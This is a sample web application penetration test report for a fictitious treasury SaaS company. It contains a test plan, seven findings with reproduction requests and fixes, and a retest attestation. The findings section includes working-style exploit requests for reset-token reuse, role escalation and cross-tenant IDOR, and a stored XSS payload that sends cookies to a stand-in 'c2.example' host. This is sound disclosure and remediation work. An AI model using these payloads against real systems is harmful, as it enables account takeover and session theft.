THE XSS RAT

Web Application Penetration Test — Engagement Pack

Test plan and findings report for **Vaultline BV**, produced to the OWASP Web Security Testing Guide v4.2 and the Penetration Testing Execution Standard.

SAMPLE DOCUMENT · FICTITIOUS CLIENT

CLIENT	TARGET	ENGAGEMENT	REPORT DATE
Vaultline BV	app.vaultline.example	VLT-2026-04	17 April 2026
TESTER	**STANDARD**	**METHOD**	**CLASSIFICATION**
Wesley Thijs	OWASP WSTG v4.2	PTES	Confidential

Document control

VERSION	DATE	AUTHOR	CHANGE
0.1	06 Apr 2026	W. Thijs	Test plan issued for client approval
1.0	17 Apr 2026	W. Thijs	Findings report issued
1.1	08 May 2026	W. Thijs	Retest results and attestation appended

Distribution

Named recipients at Vaultline BV only. This document contains unremediated vulnerability detail and must not be circulated outside the agreed distribution list, attached to ticketing systems, or uploaded to third-party AI services.

Handling

Classified **Confidential**. Retained by The XSS Rat for 12 months in encrypted storage, then destroyed. Client may request earlier destruction in writing at any time.

This is a sample. Vaultline BV does not exist, `app.vaultline.example` resolves nowhere, and every finding below is fabricated to demonstrate report structure and depth. It is published so a prospective client can see exactly what they receive before commissioning work. No real client data appears in this document.

Contents

PART ONE

Test plan

Issued before testing began and approved in writing by the client. Fixing scope, method and rules of engagement in advance is what makes the price fixed and the report predictable.

1. Engagement overview

Vaultline BV operates a multi-tenant SaaS platform for treasury reconciliation. Customers upload transaction exports, the platform matches them against ledger records, and finance teams approve the results. The platform holds financial records for multiple unrelated organisations in a single database, so **tenant isolation is the dominant risk** and the plan weights testing accordingly.

Vaultline requested testing ahead of a customer security review by a prospective enterprise client. The commercial objective is an attestation letter; the engineering objective is to find authorisation defects before that customer's own assessors do.

Objectives

1. Determine whether a user of one tenant can read or modify another tenant's data.
2. Determine whether a low-privileged user can obtain administrative capability.
3. Assess authentication, session handling and account-recovery flows for takeover paths.
4. Assess the application against the OWASP WSTG v4.2 categories listed in section 5.
5. Produce evidence a developer can reproduce, and a fix they can implement.

2. Scope

ASSET	TYPE	NOTES
`app.vaultline.example`	Web application	Primary target. Staging environment mirroring production build 4.18.2.
`api.vaultline.example`	REST API	In scope. Backing API for the above; OpenAPI 3.1 specification provided.
`app.vaultline.example/gql`	GraphQL	In scope. Introspection enabled in staging.

Explicitly out of scope

- Production infrastructure of any kind. Testing is confined to the staging environment.
- Denial-of-service, load and stress testing, including resource-exhaustion proofs.
- Social engineering, phishing and any technique targeting Vaultline staff.
- Physical security, and the corporate network.
- Third-party services (Stripe, Auth0, AWS console) except where Vaultline's own configuration of them is at fault.
- Source code review — this is a grey-box engagement, not a code audit.

Test accounts supplied

ACCOUNT	TENANT	ROLE	PURPOSE
`analyst-a@vaultline.example`	Tenant A	Analyst	Baseline low privilege
`approver-a@vaultline.example`	Tenant A	Approver	Vertical escalation target
`admin-a@vaultline.example`	Tenant A	Tenant admin	Upper bound of intended privilege
`analyst-b@vaultline.example`	Tenant B	Analyst	Horizontal / cross-tenant target

Two accounts per role are required so that horizontal access control can be tested without ambiguity. An engagement supplied with one account per role cannot properly test IDOR and will say so in its limitations.

3. Rules of engagement

ITEM	AGREED POSITION
Testing window	13–17 April 2026, 09:00–18:00 CEST. No out-of-hours testing.
Source addresses	All traffic originates from a single static IP, disclosed to Vaultline for allow-listing and log correlation.
Traffic marking	Every request carries `X-Pentest: VLT-2026-04` so Vaultline can separate test traffic from real traffic in logs.
Data handling	No production data is accessed. Any real personal data encountered in staging is reported immediately and not retained.
Destructive actions	Prohibited. No data deletion, no persistence of payloads beyond what is needed for proof, all test artefacts removed at close.
Critical finding protocol	Anything assessed Critical is reported by phone within one hour of confirmation, ahead of the report.

ITEM	AGREED POSITION
Escalation contact	Named Vaultline engineering lead, reachable during the window. A second contact is named for the first hour of each day.
Stop conditions	Testing halts immediately on client request, on evidence of a pre-existing compromise, or on unexpected impact to the environment.

4. Methodology

The engagement is structured on the **Penetration Testing Execution Standard (PTES)**. Technical coverage follows the **OWASP Web Security Testing Guide v4.2 (WSTG)**. Using published standards rather than one tester's habits means coverage is auditable: the client can read the standard and see precisely what was and was not in scope.

PTES PHASE	DAYS	ACTIVITY IN THIS ENGAGEMENT
Pre-engagement interactions	—	Scoping call, this document, written approval, test accounts provisioned and verified.
Intelligence gathering	0.5	WSTG-INFO. Application mapping, endpoint and parameter enumeration, role and state-transition mapping across all four accounts.
Threat modelling	0.5	Identify the assets that matter — tenant data, approval authority, exported ledgers — and rank test effort against them.
Vulnerability analysis	1.0	Authenticated automated coverage sweep, then manual analysis. Scanner output is used only to direct attention, never reported unverified.
Exploitation	2.0	Manual exploitation of candidate issues to establish real impact. The bulk of the engagement.
Post-exploitation	0.5	Determine reachable data and privilege from each confirmed finding. No persistence, no lateral movement into out-of-scope systems.
Reporting	0.5	This document, the executive summary, and the live debrief.

Five testing days total. No engagement runs longer than one week; a target needing more becomes two scoped engagements with a report after each.

5. WSTG coverage plan

Every WSTG v4.2 category is considered. Categories are weighted by relevance to this application rather than tested uniformly — a plan that claims equal depth across all twelve is a plan nobody intends to follow.

CATEGORY	NAME	DEPTH	RATIONALE FOR WEIGHTING
WSTG-ATHZ	Authorization	PRIMARY	Multi-tenant financial data. Highest-consequence failure mode.
WSTG-BUSL	Business logic	PRIMARY	Approval workflow carries financial authority; sequence abuse is plausible.
WSTG-ATHN	Authentication	FULL	Account takeover is a direct route to tenant data.
WSTG-SESS	Session management	FULL	Shared-workstation use is common in finance teams.
WSTG-INPV	Input validation	FULL	User-supplied content is rendered to other users in the same tenant.
WSTG-APIT	API testing	FULL	REST and GraphQL both in scope; GraphQL introspection enabled.
WSTG-IDNT	Identity management	STANDARD	Self-service registration is disabled; provisioning is admin-driven.
WSTG-CONF	Configuration & deployment	STANDARD	Managed platform; infrastructure hardening is largely the provider's.
WSTG-ERRH	Error handling	STANDARD	Checked throughout as a by-product of other testing.
WSTG-CLNT	Client-side	STANDARD	SPA front end; DOM sinks and postMessage handlers reviewed.
WSTG-CRYP	Weak cryptography	LIMITED	TLS configuration and data-at-rest claims verified; no cryptanalysis.
WSTG-INFO	Information gathering	LIMITED	Staging environment; external footprint is out of scope.

6. Schedule and deliverables

Schedule

06 Apr	Plan approved
10 Apr	Accounts verified
13–17 Apr	Testing window
17 Apr	Report issued
21 Apr	Live debrief
by 16 Jul	Free retest window closes

Deliverables

- This engagement pack — plan and findings.
- One-page executive summary for non-technical stakeholders.
- Per-finding reproduction steps, CVSS 4.0 vector and remediation.
- Live debrief with the engineering team.
- Free retest of every finding within 90 days.
- Letter of attestation, reissued after retest.

PART TWO

Findings report

Issued 17 April 2026, after five days of testing against the plan above. Every finding here was manually reproduced; no unvalidated scanner output appears in this section.

7. Executive summary

Vaultline's platform is well built in most respects, but the authorisation layer is applied inconsistently. Four of the seven findings let a user reach data or capability they were not granted, and one allows complete takeover of any account. Vaultline should not proceed to the customer security review until VLN-001, VLN-002 and VLN-003 are fixed.

The recurring cause is a single architectural decision: authorisation is enforced in the user interface and in individual controllers, rather than centrally at the data-access layer. Where a developer remembered to add the tenant check, the application is sound; where one was missed, there is nothing behind it. This is why fixing the three findings individually is necessary but not sufficient — the recommendation in section 10 is a central check that fails closed.

Nothing found indicates a prior compromise, and no real customer data was reachable from the staging environment.

What a customer assessor would find first

VLN-002 requires no tooling beyond a browser and an incremented number in a URL. Any assessor performing a basic authorisation review will find it within an hour. It is the single most commercially urgent item.

What is genuinely good

Injection defences are strong throughout — parameterised queries everywhere tested, and a strict Content-Security-Policy that limited the impact of VLN-004 considerably. TLS configuration and secret handling were sound.

Recommended order of work

ORDER	FINDING	EFFORT	WHY THIS ORDER
1	VLN-003	Hours	Full account takeover, unauthenticated. Highest severity, smallest fix.

ORDER	FINDING	EFFORT	WHY THIS ORDER
2	VLN-002	1–2 days	Cross-tenant data exposure and the finding most likely to be found externally.
3	VLN-001	1–2 days	Privilege escalation to tenant admin.
4	VLN-005, 006	1 day	Meaningful risk reduction for modest effort.
5	VLN-004, 007	Hours	Lower impact; fix alongside the next scheduled release.

8. Risk overview

Findings by severity

CRITICAL	1
HIGH	2
MEDIUM	3
LOW	0
INFORMATIONAL	1

Findings by WSTG category

WSTG-ATHZ	Authorization	2
WSTG-ATHN	Authentication	2
WSTG-INPV	Input validation	1
WSTG-SESS	Session management	1
WSTG-ERRH	Error handling	1

ID	FINDING	SEVERITY	CVSS	WSTG	STATUS
VLN-001	Mass assignment permits role escalation to tenant admin	HIGH	8.7	WSTG-ATHZ-03	**Fixed** · retested 08 May
VLN-002	IDOR exposes invoice documents across tenants	HIGH	7.1	WSTG-ATHZ-04	**Fixed** · retested 08 May
VLN-003	Password reset tokens never expire and are reusable	CRITICAL	9.1	WSTG-ATHN-09	**Fixed** · retested 08 May
VLN-004	Stored XSS in profile display name	MEDIUM	4.8	WSTG-INPV-02	**Fixed** · retested 08 May
VLN-005	No rate limiting on the authentication endpoint	MEDIUM	6.9	WSTG-ATHN-03	**Fixed** · retested 08 May

ID	FINDING	SEVERITY	CVSS	WSTG	STATUS
VLN-006	Session not invalidated server-side on logout	MEDIUM	6.3	WSTG-SESS-06	**Open** · accepted by client
VLN-007	Stack traces disclosed in API error responses	INFO	—	WSTG-ERRH-01	**Fixed** · retested 08 May

Severity is the CVSS 4.0 base-score band, not a subjective label. Vectors are given in full with each finding so the client can recalculate with their own environmental metrics. Informational items carry no CVSS score by convention.

9. Detailed findings

VLN-003

CRITICAL · 9.1

Password reset tokens never expire and are reusable

WSTG REFERENCE	WSTG-ATHN-09 — Testing for Weak Password Change or Reset Functionalities
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
AFFECTED	`POST /api/v1/auth/reset/confirm`
CWE	CWE-640 — Weak Password Recovery Mechanism

Password reset tokens issued by `/auth/reset/request` carry no expiry and are not invalidated after use. A token remains valid indefinitely and can be redeemed any number of times, so a single historical reset email grants permanent password-change capability over that account.

This is materially worse than a long-lived token. Reset emails accumulate in mailboxes, ticketing systems and mail archives. Any party who ever had sight of one — a former employee, a shared support inbox, an exported mail archive — retains the ability to take over that account today.

REPRODUCTION

1. Request a reset for `analyst-a@vaultline.example`. Capture the token from the email.
2. Redeem it, setting a new password. The reset succeeds.
3. Redeem *the same token again* with a different password. It succeeds again.
4. Repeat after 14 days using a token captured on day one. It still succeeds.

EVIDENCE

```
# Second redemption of an already-used token, 14 days after issue
POST /api/v1/auth/reset/confirm HTTP/2
Host: api.vaultline.example
Content-Type: application/json
X-Pentest: VLT-2026-04

{"token":"rst_8f2c41a9e7b04d3e","password":"Attacker-Set-Pw-2!"}

HTTP/2 200 OK
{"status":"password_updated","user":"analyst-a@vaultline.example"}
```

IMPACT

Complete, unauthenticated takeover of any account for which a reset email has ever been issued. In a platform holding multi-tenant financial records with an approval workflow, an attacker who takes over an Approver account can authorise reconciliations directly.

REMEDIATION

- Give tokens a short absolute expiry — 30 minutes is conventional and sufficient.
- Invalidate the token atomically on first successful use; store single-use state server-side rather than inferring it.
- Invalidate all outstanding tokens for a user whenever any reset completes or the password changes.
- Terminate all active sessions for the account on password change, so an attacker holding a session loses it.
- Notify the account holder by email on every completed reset.

> **Reported early.** Confirmed at 11:20 on 14 April and reported by phone at 11:52, ahead of the report, under the critical-finding protocol in section 3.

VLN-001 HIGH · 8.7

Mass assignment permits role escalation to tenant admin

WSTG REFERENCE	WSTG-ATHZ-03 — Testing for Privilege Escalation
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
AFFECTED	`PATCH /api/v1/users/{id}/profile`
CWE	CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes

The profile update endpoint binds the entire request body onto the user model. The user interface submits only `displayName` and `timezone`, but the endpoint accepts and persists any model attribute — including `role`. An Analyst can promote themselves to tenant administrator with a single request.

REPRODUCTION

1. Authenticate as `analyst-a@vaultline.example` (role: Analyst).
2. Submit a profile update including an unexpected `role` attribute.
3. Re-request `/api/v1/me`. The role is now `tenant_admin`.

4. Administrative routes in the UI become accessible immediately, without re-authentication.

EVIDENCE

```
PATCH /api/v1/users/4471/profile HTTP/2
Authorization: Bearer <analyst-a session>
Content-Type: application/json
X-Pentest: VLT-2026-04

{"displayName":"A. Analyst","role":"tenant_admin"}

HTTP/2 200 OK
{"id":4471,"displayName":"A. Analyst","role":"tenant_admin","tenant":"A"}
```

IMPACT

Any authenticated user obtains full administrative control of their tenant: user management, approval-policy configuration, and export of the tenant's complete ledger history. Combined with VLN-003 this is reachable without any legitimate credential at all.

REMEDIATION

- Bind requests to an explicit allow-list of fields (a DTO), never to the model directly. Reject unknown fields rather than ignoring them, so misuse is visible in logs.
- Move role changes to a dedicated, separately authorised endpoint that a tenant admin alone may call.
- Re-derive privilege from the server-side session on every request rather than trusting a token claim issued at login.

VLN-002

HIGH · 7.1

IDOR exposes invoice documents across tenants

WSTG REFERENCE	WSTG-ATHZ-04 — Testing for Insecure Direct Object References
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
AFFECTED	`GET /api/v1/documents/{documentId}`
CWE	CWE-639 — Authorization Bypass Through User-Controlled Key

The document retrieval endpoint verifies that the caller is authenticated but never verifies that the requested document belongs to the caller's tenant. Document identifiers are sequential integers, so the entire corpus is enumerable. A user of Tenant A can read Tenant B's invoices, remittance advices and reconciliation exports.

REPRODUCTION

1. Authenticate as `analyst-a@vaultline.example` (Tenant A).
2. Upload a document; note the identifier returned, e.g. `90114`.
3. Request `documentId` values below that number.
4. Documents belonging to Tenant B are returned in full, confirmed against the Tenant B account.

EVIDENCE

```
GET /api/v1/documents/89903 HTTP/2
Authorization: Bearer <analyst-a session — Tenant A>
X-Pentest: VLT-2026-04

HTTP/2 200 OK
Content-Type: application/pdf
Content-Disposition: inline; filename="INV-2026-0442.pdf"

-- Document belongs to Tenant B. Confirmed by retrieving the same
-- identifier as analyst-b@vaultline.example: byte-identical response.
-- 40 sequential identifiers sampled; 31 returned other tenants' documents.
```

IMPACT

Confidentiality failure across the tenant boundary — the single guarantee a multi-tenant financial platform exists to provide. Exploitation requires only a valid account of any privilege level and an incremented integer. Under GDPR Article 33 a real-world occurrence would very likely be a notifiable personal-data breach.

REMEDIATION

- Enforce the tenant check at the data-access layer so that a query for another tenant's row cannot be expressed, rather than in each controller.
- Replace sequential identifiers with unguessable ones (UUIDv4 or similar). This is defence in depth, not a fix on its own — the authorisation check is the fix.
- Add an automated test asserting that Tenant A receives 404 for a Tenant B document, and run it in CI so the guarantee cannot silently regress.

VLN-005

MEDIUM · 6.9

No rate limiting on the authentication endpoint

WSTG REFERENCE	WSTG-ATHN-03 — Testing for Weak Lockout Mechanism
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
AFFECTED	`POST /api/v1/auth/login`
CWE	CWE-307 — Improper Restriction of Excessive Authentication Attempts

The login endpoint applies no rate limiting, account lockout or proof-of-work. 5,000 authentication attempts were submitted from a single address in under four minutes with no throttling, CAPTCHA or alerting. Testing stopped there by agreement; the limit was not established.

Response timing also differs measurably between a known and an unknown address (mean 31 ms against 112 ms), permitting user enumeration ahead of any password attempt.

IMPACT

Credential stuffing against a finance product is a realistic and routinely automated attack. Combined with the enumeration side-channel, an attacker can first establish which addresses are valid and then concentrate effort on those accounts.

REMEDIATION

- Rate-limit per account and per source address, with exponential backoff.
- Equalise the response time and body between known and unknown accounts.
- Alert on bursts of failures across many accounts — the signature of stuffing rather than a forgotten password.
- Offer, and for privileged roles require, multi-factor authentication.

VLN-006

MEDIUM · 6.3

Session not invalidated server-side on logout

WSTG REFERENCE	WSTG-SESS-06 — Testing for Logout Functionality
CVSS 4.0	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
AFFECTED	`POST /api/v1/auth/logout`
CWE	CWE-613 — Insufficient Session Expiration

Logout clears the client-side cookie but does not revoke the bearer token server-side. A token captured before logout continues to authenticate successfully until its natural 24-hour expiry. Verified 45 minutes after logout against `/api/v1/me`, which returned the full profile.

IMPACT

Logout does not mean what a user reasonably believes it means. On the shared workstations common in finance teams, and in any case where a token has been exposed, the user's remedial action has no effect.

REMEDIATION

- Maintain server-side session state and revoke on logout, or add a short-lived token plus a revocable refresh token.
- Revoke all sessions on password change and on role change.
- Expose active sessions in the UI so a user can terminate them.

> **Risk accepted by client, 06 May 2026.** Vaultline has scheduled the move to revocable refresh tokens for release 4.20 in Q3 and accepts the interim risk. Recorded here because an accepted risk is still a risk, and a customer assessor will ask about it.

VLN-004

MEDIUM · 4.8

Stored XSS in profile display name

WSTG REFERENCE	WSTG-INPV-02 — Testing for Stored Cross Site Scripting
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N`
AFFECTED	`Approval queue — reviewer column`
CWE	CWE-79 — Improper Neutralization of Input During Web Page Generation

The display name is escaped correctly in the account settings view but is inserted into the approval queue through an unescaped template binding. A payload stored by one user executes in the browser of every colleague in the same tenant who opens the queue.

```
PATCH /api/v1/users/4471/profile
{"displayName":"<img src=x onerror=fetch('https://c2.example/'+document.cookie)>"}

-- Rendered unescaped at /approvals; fires for every Tenant A user.
-- Content-Security-Policy blocked the outbound fetch to c2.example.
-- In-page DOM access and same-origin API calls remained available.
```

IMPACT

Script execution in the context of other users within the tenant. The CSP is well configured and blocked exfiltration to an external host, which is why this is Medium rather than High — but same-origin actions on behalf of the victim, including approving a reconciliation, remain possible. The severity depends on a control that could be relaxed later; treat the escaping defect as the real issue.

REMEDIATION

- Use the framework's escaping binding in the approval queue; remove the raw-HTML binding.
- Escape on output everywhere rather than sanitising on input — output context is what determines correct encoding.
- Audit remaining raw-HTML bindings; two further instances were noted in the export view and should be reviewed.

VLN-007

INFORMATIONAL

Stack traces disclosed in API error responses

WSTG REFERENCE	WSTG-ERRH-01 — Testing for Improper Error Handling
AFFECTED	`Multiple API endpoints on malformed input`
CWE	CWE-209 — Generation of Error Message Containing Sensitive Information

Malformed JSON bodies produce unhandled exceptions returned to the caller in full, disclosing the framework and version, absolute file paths, and internal class and method names. No credentials or data were exposed.

This is raised as informational because it grants no direct access. It is included because it materially accelerates an attacker's understanding of the stack — the file paths disclosed the ORM in use, which is what suggested testing for VLN-001.

REMEDIATION

- Return a generic error body with a correlation identifier; log the detail server-side against that identifier.
- Confirm debug mode is disabled in every non-development environment, and assert it in a deployment check.

10. Retest results and attestation

Every finding was retested on 8 May 2026 against the same environment and build 4.19.0, using the reproduction steps recorded above. Retesting is included in the engagement fee and carries no time charge within 90 days of the report.

ID	SEVERITY	RETEST RESULT	VERIFICATION
VLN-003	CRITICAL	**Remediated**	Tokens now expire after 30 minutes and are single-use. Replay of a redeemed token returns 400. Outstanding tokens invalidated on password change; sessions terminated.
VLN-001	HIGH	**Remediated**	Endpoint now binds an explicit DTO. Unknown fields rejected with 422. Role changes moved to a separately authorised endpoint.
VLN-002	HIGH	**Remediated**	Tenant scoping enforced at the data-access layer. 500 sequential identifiers sampled across both tenants; all cross-tenant requests returned 404. CI test present.
VLN-005	MEDIUM	**Remediated**	Per-account and per-address limiting with backoff. Timing equalised — mean delta now under 4 ms across 500 samples.
VLN-004	MEDIUM	**Remediated**	Approval queue uses escaping binding. Both further raw-HTML bindings also corrected.
VLN-007	INFO	**Remediated**	Generic error body with correlation identifier. Debug mode asserted off at deploy.
VLN-006	MEDIUM	**Open**	Risk formally accepted by the client on 06 May 2026; remediation scheduled for release 4.20.

LETTER OF ATTESTATION

Statement of testing

The XSS Rat conducted an independent grey-box penetration test of the Vaultline BV treasury reconciliation platform between 13 and 17 April 2026, against the scope recorded in part one of this document. Testing was performed to the OWASP Web Security Testing Guide v4.2 and structured on the Penetration Testing Execution Standard.

Seven findings were identified: one Critical, two High, three Medium and one Informational. On retest of 8 May 2026, **six of seven had been remediated and verified**. The remaining finding, VLN-006, is a Medium-severity session-management issue formally accepted by the client with remediation scheduled.

This statement reflects the security posture of the tested build at the date of retest and within the stated scope. It is not a warranty that the application is free of vulnerabilities, and it does not extend to components, environments or releases outside that scope.

SIGNED	Wesley Thijs — The XSS Rat
DATE	8 May 2026
REFERENCE	VLT-2026-04 / ATT-1.1
VERIFICATION	info@thexssrat.com · VAT BE 0795 300 624

Appendix A — WSTG coverage record

What was actually tested, against the plan in section 5. A coverage record is what separates a penetration test from an unstructured look around: the client can see not only what was found, but what was looked for and not found.

CATEGORY	PLANNED	PERFORMED	FINDINGS	NOTES
WSTG-INFO	Limited	Limited	0	Fingerprinting, metafiles, application entry points, execution paths mapped.
WSTG-CONF	Standard	Standard	0	TLS, HTTP methods, headers, CSP, admin interfaces, file extension handling.
WSTG-IDNT	Standard	Standard	0	Role definitions, provisioning and de-provisioning, account enumeration via registration (disabled).
WSTG-ATHN	Full	Full	2	VLN-003, VLN-005. Credentials over encrypted channel, default credentials, lockout, cache bypass, reset flows.
WSTG-ATHZ	Primary	Primary	2	VLN-001, VLN-002. Directory traversal, schema bypass, privilege escalation, IDOR, OAuth scope handling.
WSTG-SESS	Full	Full	1	VLN-006. Cookie attributes, fixation, CSRF (tokens correctly implemented), timeout, logout.
WSTG-INPV	Full	Full	1	VLN-004. Reflected and stored XSS, SQLi, SSTI, command injection, SSRF, host-header injection. Injection defences sound.
WSTG-ERRH	Standard	Standard	1	VLN-007. Error codes and stack traces across all endpoint families.
WSTG-CRYP	Limited	Limited	0	TLS 1.3 only, HSTS present, no padding-oracle indicators, no sensitive data over unencrypted channels.
WSTG-BUSL	Primary	Primary	0	Approval workflow bypass, request tampering, integrity checks, process timing, function-use limits, upload of malicious files. No defects found — the workflow is well constructed.
WSTG-CLNT	Standard	Standard	0	DOM XSS sinks, JavaScript execution, HTML injection, postMessage handlers, CORS, clickjacking.
WSTG-APIT	Full	Full	0	GraphQL introspection, query depth and batching, REST verb tampering, mass assignment (see VLN-001), documented against provided OpenAPI specification.

Limitations

- Testing was performed against staging, not production. Configuration drift between the two is not assessed.
- Denial-of-service and resource-exhaustion classes were excluded by agreement; findings of that class would not have been discovered.
- Source code was not reviewed. Logic defects with no externally observable signal may remain.
- A penetration test is a time-boxed sample, not a proof of absence. Five days against this application gives good confidence in the categories marked Primary and Full, and proportionally less in those marked Limited.

Appendix B — Tooling and severity model

Tooling

Burp Suite Professional	Proxy, Repeater, Intruder; authenticated scan for coverage
Custom Burp extensions	Authorisation matrix testing across the four accounts
ffuf	Content and parameter discovery
sqlmap	Confirmation only, on candidate parameters
Manual analysis	Every reported finding

Automated tooling directs attention. It never produces a finding on its own: each item in section 9 was reproduced by hand before being written up.

Severity model

CVSS v4.0 base score, banded as published by FIRST:

CRITICAL	9.0 – 10.0
HIGH	7.0 – 8.9
MEDIUM	4.0 – 6.9
LOW	0.1 – 3.9
INFO	No score assigned

Base scores only. Full vectors are published with each finding so the client can apply their own environmental metrics — a Medium in staging may be a High in your production context, and you are better placed than I am to judge that.

About this document

Produced by **The XSS Rat** — independent penetration testing for web applications, APIs and mobile apps. Joseph Smeetslaan 21, 3630 Maasmechelen, Limburg, Belgium. VAT BE 0795 300 624. `info@thexssrat.com` · `+32 456 93 11 20`

> **Reminder: this is a sample document.** Vaultline BV is fictitious, `app.vaultline.example` does not resolve, and all findings, evidence and dates are fabricated to illustrate the structure and depth of a real engagement pack. Real client reports are never published in any form.